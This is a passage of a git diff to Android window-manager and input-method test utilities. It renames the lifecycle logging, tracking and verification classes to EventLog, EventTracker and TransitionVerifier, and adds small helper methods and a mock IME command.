waitAndAssertActivityStates(state(FirstActivity.class, ON_DESTROY),
state(SecondActivity.class, ON_DESTROY));
- LifecycleVerifier.assertEmptySequence(ThirdActivity.class, getLifecycleLog(),
- "finishAffinityBelow");
+ assertEmptySequence(ThirdActivity.class, getTransitionLog(), "finishAffinityBelow");
}
/**
@@ -249,10 +251,10 @@
waitAndAssertActivityStates(state(differentAffinityActivity, ON_RESUME),
state(firstActivity, ON_STOP));
- getLifecycleLog().clear();
+ getTransitionLog().clear();
differentAffinityActivity.finishAffinity();
waitAndAssertActivityStates(state(DifferentAffinityActivity.class, ON_DESTROY));
- LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
+ assertSequence(FirstActivity.class, getTransitionLog(),
Arrays.asList(ON_RESTART, ON_START, ON_RESUME), "finishAffinity");
}
@@ -271,7 +273,7 @@
waitAndAssertActivityStates(state(secondActivity, ON_RESUME),
state(firstActivity, ON_STOP));
- getLifecycleLog().clear();
+ getTransitionLog().clear();
secondActivity.finishAffinity();
waitAndAssertActivityStates(state(SecondActivity.class, ON_DESTROY),
state(firstActivity, ON_RESUME));
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index c0f376e..e3792ae 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -238,7 +238,7 @@
private static final int UI_MODE_TYPE_MASK = 0x0f;
private static final int UI_MODE_TYPE_VR_HEADSET = 0x07;
- static final boolean ENABLE_SHELL_TRANSITIONS =
+ public static final boolean ENABLE_SHELL_TRANSITIONS =
SystemProperties.getBoolean("persist.wm.debug.shell_transit", false);
private static Boolean sHasHomeScreen = null;
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/TouchHelper.java b/tests/framework/base/windowmanager/util/src/android/server/wm/TouchHelper.java
index 54c9b3e..4e69797 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/TouchHelper.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/TouchHelper.java
@@ -101,9 +101,13 @@
}
public void tapOnCenter(Rect bounds, int displayId) {
+ tapOnCenter(bounds, displayId, true /* waitAnimation */);
+ }
+
+ public void tapOnCenter(Rect bounds, int displayId, boolean waitAnimation) {
final int tapX = bounds.left + bounds.width() / 2;
final int tapY = bounds.top + bounds.height() / 2;
- tapOnDisplaySync(tapX, tapY, displayId);
+ tapOnDisplay(tapX, tapY, displayId, true /* sync */, waitAnimation);
}
public void tapOnViewCenter(View view) {
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index 8585638..adf308d 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -1672,6 +1672,7 @@
public boolean translucent;
private WindowContainer mParent;
private boolean mEnableRecentsScreenshot;
+ private int mLastDropInputMode;
Activity(ActivityRecordProto proto, WindowContainer parent) {
super(proto.windowToken.windowContainer);
@@ -1687,6 +1688,7 @@
}
translucent = proto.translucent;
mEnableRecentsScreenshot = proto.enableRecentsScreenshot;
+ mLastDropInputMode = proto.lastDropInputMode;
mParent = parent;
}
@@ -1730,6 +1732,10 @@
return mEnableRecentsScreenshot;
}
+ public int getLastDropInputMode() {
+ return mLastDropInputMode;
+ }
+
@Override
public Rect getBounds() {
if (mBounds == null) {
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
index c6d96f4..a203a84 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
@@ -240,11 +240,15 @@
waitForWithAmState(state -> !state.isDisplayFrozen(), "Display unfrozen");
}
- public void waitForActivityState(ComponentName activityName, String activityState) {
- waitForWithAmState(state -> state.hasActivityState(activityName, activityState),
+ public boolean waitForActivityState(ComponentName activityName, String activityState) {
+ return waitForWithAmState(state -> state.hasActivityState(activityName, activityState),
"state of " + getActivityName(activityName) + " to be " + activityState);
}
+ public void waitAndAssertActivityState(ComponentName activityName, String activityState) {
+ assertTrue(waitForActivityState(activityName, activityState));
+ }
+
public void waitForActivityRemoved(ComponentName activityName) {
waitFor((amState) -> !amState.containsActivity(activityName)
&& !amState.containsWindow(getWindowName(activityName)),
@@ -735,7 +739,8 @@
final List<Task> tasks = getRootTasks();
for (Task task : tasks) {
task.forAllTasks((t) -> assertWithMessage("Empty task was found, id = " + t.mTaskId)
- .that(t.mTasks.size() + t.mActivities.size()).isGreaterThan(0));
+ .that(t.mTasks.size() + t.mTaskFragments.size() + t.mActivities.size())
+ .isGreaterThan(0));
if (task.isLeafTask()) {
continue;
}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/CallbackTrackingActivity.java b/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/CallbackTrackingActivity.java
index 8666b61..3316c81 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/CallbackTrackingActivity.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/CallbackTrackingActivity.java
@@ -36,32 +36,32 @@
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
- mLifecycleLogClient.onActivityCallback(ON_ACTIVITY_RESULT);
+ mEventLogClient.onCallback(ON_ACTIVITY_RESULT);
}
@Override
protected void onPostCreate(Bundle savedInstanceState) {
super.onPostCreate(savedInstanceState);
- mLifecycleLogClient.onActivityCallback(ON_POST_CREATE);
+ mEventLogClient.onCallback(ON_POST_CREATE);
}
@Override
protected void onNewIntent(Intent intent) {
super.onNewIntent(intent);
- mLifecycleLogClient.onActivityCallback(ON_NEW_INTENT);
+ mEventLogClient.onCallback(ON_NEW_INTENT);
setIntent(intent);
}
@Override
public void onTopResumedActivityChanged(boolean isTopResumedActivity) {
if (!getIntent().getBooleanExtra(EXTRA_SKIP_TOP_RESUMED_STATE, false)) {
- mLifecycleLogClient.onActivityCallback(
+ mEventLogClient.onCallback(
isTopResumedActivity ? ON_TOP_POSITION_GAINED : ON_TOP_POSITION_LOST);
}
}
@Override
public void onMultiWindowModeChanged(boolean isInMultiWindowMode, Configuration newConfig) {
- mLifecycleLogClient.onActivityCallback(ON_MULTI_WINDOW_MODE_CHANGED);
+ mEventLogClient.onCallback(ON_MULTI_WINDOW_MODE_CHANGED);
}
}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/LifecycleLog.java b/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/EventLog.java
similarity index 76%
rename from tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/LifecycleLog.java
rename to tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/EventLog.java
index 9b8dd43..a9e680b 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/LifecycleLog.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/EventLog.java
@@ -33,17 +33,17 @@
import java.util.List;
/**
- * Used as a shared log storage of activity lifecycle transitions. Methods must be synchronized to
- * prevent concurrent modification of the log store.
+ * Used as a shared log storage of events such as activity lifecycle. Methods must be
+ * synchronized to prevent concurrent modification of the log store.
*/
-public class LifecycleLog extends ContentProvider {
+public class EventLog extends ContentProvider {
- interface LifecycleTrackerCallback {
- void onActivityLifecycleChanged();
+ interface EventTrackerCallback {
+ void onEventObserved();
}
/** Identifies the activity to which the event corresponds. */
- private static final String EXTRA_KEY_ACTIVITY = "key_activity";
+ private static final String EXTRA_KEY_TAG = "key_activity";
/** Puts a lifecycle or callback into the container. */
private static final String METHOD_ADD_CALLBACK = "add_callback";
/** Content provider URI for cross-process lifecycle transitions collecting. */
@@ -56,9 +56,9 @@
private static final List<Pair<String, String>> sLog = new ArrayList<>();
/**
- * Lifecycle tracker interface that waits for correct states or sequences.
+ * Event tracker interface that waits for correct states or sequences.
*/
- private static LifecycleTrackerCallback sLifecycleTracker;
+ private static EventTrackerCallback sEventTracker;
/** Clear the entire transition log. */
public void clear() {
@@ -67,8 +67,10 @@
}
}
- public void setLifecycleTracker(LifecycleTrackerCallback lifecycleTracker) {
- sLifecycleTracker = lifecycleTracker;
+ public void setEventTracker(EventTrackerCallback eventTracker) {
+ synchronized (sLog) {
+ sEventTracker = eventTracker;
+ }
}
/** Add activity callback to the log. */
@@ -78,8 +80,8 @@
}
log("Activity " + activityCanonicalName + " receiver callback " + callback);
// Trigger check for valid state in the tracker
- if (sLifecycleTracker != null) {
- sLifecycleTracker.onActivityLifecycleChanged();
+ if (sEventTracker != null) {
+ sEventTracker.onEventObserved();
}
}
@@ -109,28 +111,28 @@
// ContentProvider implementation for cross-process tracking
- public static class LifecycleLogClient implements AutoCloseable {
+ public static class EventLogClient implements AutoCloseable {
private static final String EMPTY_ARG = "";
private final ContentProviderClient mClient;
- private final String mOwner;
+ private final String mTag;
- public LifecycleLogClient(ContentProviderClient client, String owner) {
+ public EventLogClient(ContentProviderClient client, String tag) {
mClient = client;
- mOwner = owner;
+ mTag = tag;
}
- public void onActivityCallback(String callback) {
- onActivityCallback(callback, mOwner);
+ public void onCallback(String callback) {
+ onCallback(callback, mTag);
}
- public void onActivityCallback(String callback, Activity owner) {
- onActivityCallback(callback, owner.getClass().getCanonicalName());
+ public void onCallback(String callback, Activity activity) {
+ onCallback(callback, activity.getClass().getCanonicalName());
}
- public void onActivityCallback(String callback, String owner) {
+ public void onCallback(String callback, String tag) {
final Bundle extras = new Bundle();
extras.putString(METHOD_ADD_CALLBACK, callback);
- extras.putString(EXTRA_KEY_ACTIVITY, owner);
+ extras.putString(EXTRA_KEY_TAG, tag);
try {
mClient.call(METHOD_ADD_CALLBACK, EMPTY_ARG, extras);
} catch (RemoteException e) {
@@ -143,13 +145,13 @@
mClient.close();
}
- public static LifecycleLogClient create(String owner, Context context) {
+ public static EventLogClient create(String owner, Context context) {
final ContentProviderClient client = context.getContentResolver()
.acquireContentProviderClient(URI);
if (client == null) {
throw new RuntimeException("Unable to acquire " + URI);
}
- return new LifecycleLogClient(client, owner);
+ return new EventLogClient(client, owner);
}
}
@@ -158,7 +160,7 @@
if (!METHOD_ADD_CALLBACK.equals(method)) {
throw new UnsupportedOperationException();
}
- onActivityCallback(extras.getString(EXTRA_KEY_ACTIVITY), extras.getString(method));
+ onActivityCallback(extras.getString(EXTRA_KEY_TAG), extras.getString(method));
return null;
}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/LifecycleTracker.java b/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/EventTracker.java
similarity index 86%
rename from tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/LifecycleTracker.java
rename to tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/EventTracker.java
index 31bb9ae..fae5657 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/LifecycleTracker.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/EventTracker.java
@@ -29,13 +29,13 @@
* Gets notified about activity lifecycle updates and provides blocking mechanism to wait until
* expected activity states are reached.
*/
-public class LifecycleTracker implements LifecycleLog.LifecycleTrackerCallback {
+public class EventTracker implements EventLog.EventTrackerCallback {
private static final int TIMEOUT = 5 * 1000;
- private LifecycleLog mLifecycleLog;
+ private EventLog mEventLog;
- public LifecycleTracker(LifecycleLog lifecycleLog) {
- mLifecycleLog = lifecycleLog;
- mLifecycleLog.setLifecycleTracker(this);
+ public EventTracker(EventLog eventLog) {
+ mEventLog = eventLog;
+ mEventLog.setEventTracker(this);
}
void waitAndAssertActivityStates(
@@ -51,14 +51,14 @@
void waitAndAssertActivityCurrentState(Class<? extends Activity> activityClass,
String expectedState) {
final boolean waitResult = waitForConditionWithTimeout(() -> {
- List<String> activityLog = mLifecycleLog.getActivityLog(activityClass);
+ List<String> activityLog = mEventLog.getActivityLog(activityClass);
String currentState = activityLog.get(activityLog.size() - 1);
return expectedState.equals(currentState);
});
if (!waitResult) {
fail("Lifecycle state did not settle with the expected current state of "
- + expectedState + " : " + mLifecycleLog.getActivityLog(activityClass));
+ + expectedState + " : " + mEventLog.getActivityLog(activityClass));
}
}
@@ -71,11 +71,11 @@
public void waitForActivityTransitions(Class<? extends Activity> activityClass,
List<String> expectedTransitions) {
waitForConditionWithTimeout(
- () -> mLifecycleLog.getActivityLog(activityClass).equals(expectedTransitions));
+ () -> mEventLog.getActivityLog(activityClass).equals(expectedTransitions));
}
@Override
- public synchronized void onActivityLifecycleChanged() {
+ public synchronized void onEventObserved() {
notify();
}
@@ -88,7 +88,7 @@
for (Pair<Class<? extends Activity>, String> callbackPair : activityCallbacks) {
final Class<? extends Activity> activityClass = callbackPair.first;
final List<String> transitionList =
- mLifecycleLog.getActivityLog(activityClass);
+ mEventLog.getActivityLog(activityClass);
if (transitionList.isEmpty()
|| !transitionList.get(transitionList.size() - 1).equals(callbackPair.second)) {
// The activity either hasn't got any state transitions yet or the current state is
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/LifecycleTrackingActivity.java b/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/LifecycleTrackingActivity.java
index f3ce34f..5c64485 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/LifecycleTrackingActivity.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/LifecycleTrackingActivity.java
@@ -40,14 +40,14 @@
/** Base activity that only tracks fundamental activity lifecycle states. */
public class LifecycleTrackingActivity extends Activity {
- LifecycleLog.LifecycleLogClient mLifecycleLogClient;
+ EventLog.EventLogClient mEventLogClient;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
- mLifecycleLogClient = LifecycleLog.LifecycleLogClient.create(
+ mEventLogClient = EventLog.EventLogClient.create(
this.getClass().getCanonicalName(), this);
- mLifecycleLogClient.onActivityCallback(ON_CREATE);
+ mEventLogClient.onCallback(ON_CREATE);
final Intent intent = getIntent();
final Intent startOnCreate =
@@ -72,7 +72,7 @@
@Override
protected void onStart() {
super.onStart();
- mLifecycleLogClient.onActivityCallback(ON_START);
+ mEventLogClient.onCallback(ON_START);
if (getIntent().getBooleanExtra(EXTRA_FINISH_IN_ON_START, false)) {
finish();
@@ -82,7 +82,7 @@
@Override
protected void onResume() {
super.onResume();
- mLifecycleLogClient.onActivityCallback(ON_RESUME);
+ mEventLogClient.onCallback(ON_RESUME);
final Intent intent = getIntent();
if (intent.getBooleanExtra(EXTRA_FINISH_IN_ON_RESUME, false)) {
@@ -93,7 +93,7 @@
@Override
protected void onPause() {
super.onPause();
- mLifecycleLogClient.onActivityCallback(ON_PAUSE);
+ mEventLogClient.onCallback(ON_PAUSE);
if (getIntent().getBooleanExtra(EXTRA_FINISH_IN_ON_PAUSE, false)) {
finish();
@@ -103,7 +103,7 @@
@Override
protected void onStop() {
super.onStop();
- mLifecycleLogClient.onActivityCallback(ON_STOP);
+ mEventLogClient.onCallback(ON_STOP);
if (getIntent().getBooleanExtra(EXTRA_FINISH_IN_ON_STOP, false)) {
finish();
@@ -113,14 +113,14 @@
@Override
protected void onDestroy() {
super.onDestroy();
- mLifecycleLogClient.onActivityCallback(ON_DESTROY);
- mLifecycleLogClient.close();
+ mEventLogClient.onCallback(ON_DESTROY);
+ mEventLogClient.close();
}
@Override
protected void onRestart() {
super.onRestart();
- mLifecycleLogClient.onActivityCallback(ON_RESTART);
+ mEventLogClient.onCallback(ON_RESTART);
}
@Override
@@ -128,7 +128,7 @@
super.onUserLeaveHint();
if (getIntent().getBooleanExtra(EXTRA_ACTIVITY_ON_USER_LEAVE_HINT, false)) {
- mLifecycleLogClient.onActivityCallback(ON_USER_LEAVE_HINT);
+ mEventLogClient.onCallback(ON_USER_LEAVE_HINT);
}
}
}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/LifecycleVerifier.java b/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/TransitionVerifier.java
similarity index 85%
rename from tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/LifecycleVerifier.java
rename to tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/TransitionVerifier.java
index b9a6b66..db6a243 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/LifecycleVerifier.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/TransitionVerifier.java
@@ -41,17 +41,17 @@
import java.util.Arrays;
import java.util.List;
-/** Util class that verifies correct activity state transition sequences. */
-public class LifecycleVerifier {
+/** Util class that verifies correct event and state transition sequences. */
+public class TransitionVerifier {
private static final Class CALLBACK_TRACKING_CLASS = CallbackTrackingActivity.class;
private static final Class CONFIG_CHANGE_HANDLING_CLASS =
LifecycleConfigChangeHandlingActivity.class;
static void assertLaunchSequence(Class<? extends Activity> activityClass,
- LifecycleLog lifecycleLog, String... expectedSubsequentEvents) {
+ EventLog eventLog, String... expectedSubsequentEvents) {
final List<String> observedTransitions =
- lifecycleLog.getActivityLog(activityClass);
+ eventLog.getActivityLog(activityClass);
log("Observed sequence: " + observedTransitions);
final String errorMessage = errorDuringTransition(activityClass, "launch");
@@ -81,7 +81,7 @@
}
static void assertLaunchSequence(Class<? extends Activity> launchingActivity,
- Class<? extends Activity> existingActivity, LifecycleLog lifecycleLog,
+ Class<? extends Activity> existingActivity, EventLog eventLog,
boolean launchingIsTranslucent) {
final boolean includingCallbacks;
if (CALLBACK_TRACKING_CLASS.isAssignableFrom(launchingActivity)
@@ -97,7 +97,7 @@
}
- final List<Pair<String, String>> observedTransitions = lifecycleLog.getLog();
+ final List<Pair<String, String>> observedTransitions = eventLog.getLog();
log("Observed sequence: " + observedTransitions);
final String errorMessage = errorDuringTransition(launchingActivity, "launch");
@@ -125,15 +125,15 @@
}
static void assertLaunchAndStopSequence(Class<? extends Activity> activityClass,
- LifecycleLog lifecycleLog) {
- assertLaunchAndStopSequence(activityClass, lifecycleLog,
+ EventLog eventLog) {
+ assertLaunchAndStopSequence(activityClass, eventLog,
false /* onTop */);
}
static void assertLaunchAndStopSequence(Class<? extends Activity> activityClass,
- LifecycleLog lifecycleLog, boolean onTop) {
+ EventLog eventLog, boolean onTop) {
final List<String> observedTransitions =
- lifecycleLog.getActivityLog(activityClass);
+ eventLog.getActivityLog(activityClass);
log("Observed sequence: " + observedTransitions);
final String errorMessage = errorDuringTransition(activityClass, "launch and stop");
@@ -153,9 +153,9 @@
}
static void assertLaunchAndPauseSequence(Class<? extends Activity> activityClass,
- LifecycleLog lifecycleLog) {
+ EventLog eventLog) {
final List<String> observedTransitions =
- lifecycleLog.getActivityLog(activityClass);
+ eventLog.getActivityLog(activityClass);
log("Observed sequence: " + observedTransitions);
final String errorMessage = errorDuringTransition(activityClass, "launch and pause");
@@ -165,9 +165,9 @@
}
static void assertRestartSequence(Class<? extends Activity> activityClass,
- LifecycleLog lifecycleLog) {
+ EventLog eventLog) {
final List<String> observedTransitions =
- lifecycleLog.getActivityLog(activityClass);
+ eventLog.getActivityLog(activityClass);
log("Observed sequence: " + observedTransitions);
final String errorMessage = errorDuringTransition(activityClass, "restart");
@@ -177,9 +177,9 @@
}
static void assertRestartAndResumeSequence(Class<? extends Activity> activityClass,
- LifecycleLog lifecycleLog) {
+ EventLog eventLog) {
final List<String> observedTransitions =
- lifecycleLog.getActivityLog(activityClass);
+ eventLog.getActivityLog(activityClass);
log("Observed sequence: " + observedTransitions);
final String errorMessage = errorDuringTransition(activityClass, "restart and pause");
@@ -194,22 +194,22 @@
* state is resolved.
*/
static void assertRestartAndResumeSubSequence(Class<? extends Activity> activityClass,
- LifecycleLog lifecycleLog) {
+ EventLog eventLog) {
final List<String> observedTransitions =
- lifecycleLog.getActivityLog(activityClass);
+ eventLog.getActivityLog(activityClass);
log("Observed sequence: " + observedTransitions);
final List<Pair<String, String>> expectedTransitions =
Arrays.asList(transition(activityClass, ON_RESTART),
transition(activityClass, ON_START), transition(activityClass, ON_RESUME));
- assertOrder(lifecycleLog, expectedTransitions, "restart and resume");
+ assertOrder(eventLog, expectedTransitions, "restart and resume");
}
static void assertRecreateAndResumeSequence(Class<? extends Activity> activityClass,
- LifecycleLog lifecycleLog) {
+ EventLog eventLog) {
final List<String> observedTransitions =
- lifecycleLog.getActivityLog(activityClass);
+ eventLog.getActivityLog(activityClass);
log("Observed sequence: " + observedTransitions);
final String errorMessage = errorDuringTransition(activityClass, "recreateA and pause");
@@ -219,9 +219,9 @@
}
static void assertLaunchAndDestroySequence(Class<? extends Activity> activityClass,
- LifecycleLog lifecycleLog) {
+ EventLog eventLog) {
final List<String> observedTransitions =
- lifecycleLog.getActivityLog(activityClass);
+ eventLog.getActivityLog(activityClass);
log("Observed sequence: " + observedTransitions);
final String errorMessage = errorDuringTransition(activityClass, "launch and destroy");
@@ -231,9 +231,9 @@
}
static void assertResumeToDestroySequence(Class<? extends Activity> activityClass,
- LifecycleLog lifecycleLog) {
+ EventLog eventLog) {
final List<String> observedTransitions =
- lifecycleLog.getActivityLog(activityClass);
+ eventLog.getActivityLog(activityClass);
log("Observed sequence: " + observedTransitions);
final String errorMessage = errorDuringTransition(activityClass, "launch and destroy");
@@ -250,9 +250,9 @@
}
static void assertResumeToStopSequence(Class<? extends Activity> activityClass,
- LifecycleLog lifecycleLog) {
+ EventLog eventLog) {
final List<String> observedTransitions =
- lifecycleLog.getActivityLog(activityClass);
+ eventLog.getActivityLog(activityClass);
log("Observed sequence: " + observedTransitions);
final String errorMessage = errorDuringTransition(activityClass, "resumed to stopped");
final boolean includeCallbacks = CALLBACK_TRACKING_CLASS.isAssignableFrom(activityClass);
@@ -268,9 +268,9 @@
}
static void assertStopToResumeSequence(Class<? extends Activity> activityClass,
- LifecycleLog lifecycleLog) {
+ EventLog eventLog) {
final List<String> observedTransitions =
- lifecycleLog.getActivityLog(activityClass);
+ eventLog.getActivityLog(activityClass);
log("Observed sequence: " + observedTransitions);
final String errorMessage = errorDuringTransition(activityClass, "stopped to resumed");
final boolean includeCallbacks = CALLBACK_TRACKING_CLASS.isAssignableFrom(activityClass);
@@ -290,9 +290,9 @@
* state is resolved.
*/
static void assertStopToResumeSubSequence(Class<? extends Activity> activityClass,
- LifecycleLog lifecycleLog) {
+ EventLog eventLog) {
final List<String> observedTransitions =
- lifecycleLog.getActivityLog(activityClass);
+ eventLog.getActivityLog(activityClass);
log("Observed sequence: " + observedTransitions);
final boolean includeCallbacks = CALLBACK_TRACKING_CLASS.isAssignableFrom(activityClass);
@@ -303,13 +303,13 @@
expectedTransitions.add(transition(activityClass, ON_TOP_POSITION_GAINED));
}
- assertOrder(lifecycleLog, expectedTransitions, "stop and resume");
+ assertOrder(eventLog, expectedTransitions, "stop and resume");
}
static void assertRelaunchSequence(Class<? extends Activity> activityClass,
- LifecycleLog lifecycleLog, String startState) {
+ EventLog eventLog, String startState) {
final List<String> expectedTransitions = getRelaunchSequence(startState);
- assertSequence(activityClass, lifecycleLog, expectedTransitions, "relaunch");
+ assertSequence(activityClass, eventLog, expectedTransitions, "relaunch");
}
static List<String> getRelaunchSequence(String startState) {
@@ -361,10 +361,10 @@
return newTransitions;
}
- static void assertSequence(Class<? extends Activity> activityClass, LifecycleLog lifecycleLog,
+ static void assertSequence(Class<? extends Activity> activityClass, EventLog eventLog,
List<String> expectedTransitions, String transition) {
final List<String> observedTransitions =
- lifecycleLog.getActivityLog(activityClass);
+ eventLog.getActivityLog(activityClass);
log("Observed sequence: " + observedTransitions);
final String errorMessage = errorDuringTransition(activityClass, transition);
@@ -378,13 +378,13 @@
* Use this method when there is no need to verify the entire sequence, only that some
* transitions happened after another.
*/
- static void assertOrder(LifecycleLog lifecycleLog, Class<? extends Activity> activityClass,
+ static void assertOrder(EventLog eventLog, Class<? extends Activity> activityClass,
List<String> expectedTransitionsOrder, String transition) {
List<Pair<String, String>> expectedTransitions = new ArrayList<>();
for (String callback : expectedTransitionsOrder) {
expectedTransitions.add(transition(activityClass, callback));
}
- assertOrder(lifecycleLog, expectedTransitions, transition);
+ assertOrder(eventLog, expectedTransitions, transition);
}
/**
@@ -394,10 +394,10 @@
* Use this method when there is no need to verify the entire sequence, only that some
* transitions happened after another.
*/
- public static void assertOrder(LifecycleLog lifecycleLog,
+ public static void assertOrder(EventLog eventLog,
List<Pair<String, String>> expectedTransitionsOrder,
String transition) {
- String result = checkOrderAndReturnError(lifecycleLog, expectedTransitionsOrder,
+ String result = checkOrderAndReturnError(eventLog, expectedTransitionsOrder,
transition);
if (result != null) {
fail(result);
@@ -405,12 +405,12 @@
}
/**
- * Same as {@link #assertOrder(LifecycleLog, List, String)}, but returns the String with error
+ * Same as {@link #assertOrder(EventLog, List, String)}, but returns the String with error
* if it occurs. Otherwise returns {@code null}
*/
- public static String checkOrderAndReturnError(LifecycleLog lifecycleLog,
+ public static String checkOrderAndReturnError(EventLog eventLog,
List<Pair<String, String>> expectedTransitionsOrder, String transition) {
- final List<Pair<String, String>> observedTransitions = lifecycleLog.getLog();
+ final List<Pair<String, String>> observedTransitions = eventLog.getLog();
int nextObservedPosition = 0;
for (Pair<String, String> expectedTransition
: expectedTransitionsOrder) {
@@ -429,42 +429,42 @@
/**
* Assert that a transition was observer, no particular order.
*/
- public static void assertTransitionObserved(LifecycleLog lifecycleLog,
+ public static void assertTransitionObserved(EventLog eventLog,
Pair<String, String> expectedTransition, String transition) {
assertTrue("Transition " + expectedTransition + " must be observed during " + transition,
- lifecycleLog.getLog().contains(expectedTransition));
+ eventLog.getLog().contains(expectedTransition));
}
/**
- * Same as {@link #checkOrderAndReturnError(LifecycleLog, List, String)}, but returns
+ * Same as {@link #checkOrderAndReturnError(EventLog, List, String)}, but returns
* {@code false} if the order does not match. Otherwise returns {@code true}
*/
- public static boolean checkOrder(LifecycleLog lifecycleLog,
+ public static boolean checkOrder(EventLog eventLog,
List<Pair<String, String>> expectedTransitionsOrder) {
- String result = checkOrderAndReturnError(lifecycleLog, expectedTransitionsOrder, null);
+ String result = checkOrderAndReturnError(eventLog, expectedTransitionsOrder, null);
return result == null;
}
/**
* Assert that a transition was not observer, no particular order.
*/
- static void assertTransitionNotObserved(LifecycleLog lifecycleLog,
+ static void assertTransitionNotObserved(EventLog eventLog,
Pair<String, String> expectedTransition, String transition) {
assertFalse("Transition " + expectedTransition + " must not be observed during "
- + transition, lifecycleLog.getLog().contains(expectedTransition));
+ + transition, eventLog.getLog().contains(expectedTransition));
}
static void assertEmptySequence(Class<? extends Activity> activityClass,
- LifecycleLog lifecycleLog, String transition) {
- assertSequence(activityClass, lifecycleLog, new ArrayList<>(), transition);
+ EventLog eventLog, String transition) {
+ assertSequence(activityClass, eventLog, new ArrayList<>(), transition);
}
/** Assert that a lifecycle sequence matches one of the possible variants. */
static void assertSequenceMatchesOneOf(Class<? extends Activity> activityClass,
- LifecycleLog lifecycleLog, List<List<String>> expectedTransitions,
+ EventLog eventLog, List<List<String>> expectedTransitions,
String transition) {
final List<String> observedTransitions =
- lifecycleLog.getActivityLog(activityClass);
+ eventLog.getActivityLog(activityClass);
log("Observed sequence: " + observedTransitions);
final String errorMessage = errorDuringTransition(activityClass, transition);
@@ -483,8 +483,8 @@
/** Assert the entire sequence for all involved activities. */
static void assertEntireSequence(
List<Pair<String, String>> expectedTransitions,
- LifecycleLog lifecycleLog, String message) {
- final List<Pair<String, String>> observedTransitions = lifecycleLog.getLog();
+ EventLog eventLog, String message) {
+ final List<Pair<String, String>> observedTransitions = eventLog.getLog();
assertEquals(message, expectedTransitions, observedTransitions);
}
diff --git a/tests/inputmethod/AndroidManifest.xml b/tests/inputmethod/AndroidManifest.xml
index e757f79..0211434 100644
--- a/tests/inputmethod/AndroidManifest.xml
+++ b/tests/inputmethod/AndroidManifest.xml
@@ -24,6 +24,7 @@
<application android:label="CtsInputMethodTestCases"
android:multiArch="true"
android:supportsRtl="true"
+ android:debuggable="true"
android:testOnly="true">
<uses-library android:name="android.test.runner"/>
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
index daccbb0..fc4c05e 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
@@ -426,6 +426,10 @@
return e;
}
}
+ case "setEnableOnBackInvokedCallback":
+ boolean isEnabled = command.getExtras().getBoolean("isEnabled");
+ getApplicationInfo().setEnableOnBackInvokedCallback(isEnabled);
+ return ImeEvent.RETURN_VALUE_UNAVAILABLE;
case "getDisplayId":
return getDisplay().getDisplayId();
case "verifyLayoutInflaterContext":
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
index c5ef7d0..3654a15 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
@@ -1405,6 +1405,13 @@
}
@NonNull
+ public ImeCommand callSetEnableOnBackInvokedCallback(Boolean isEnabled) {
+ final Bundle params = new Bundle();
+ params.putBoolean("isEnabled", isEnabled);
+ return callCommandInternal("setEnableOnBackInvokedCallback", params);
+ }
+
+ @NonNull
public ImeCommand callGetDisplayId() {
final Bundle params = new Bundle();
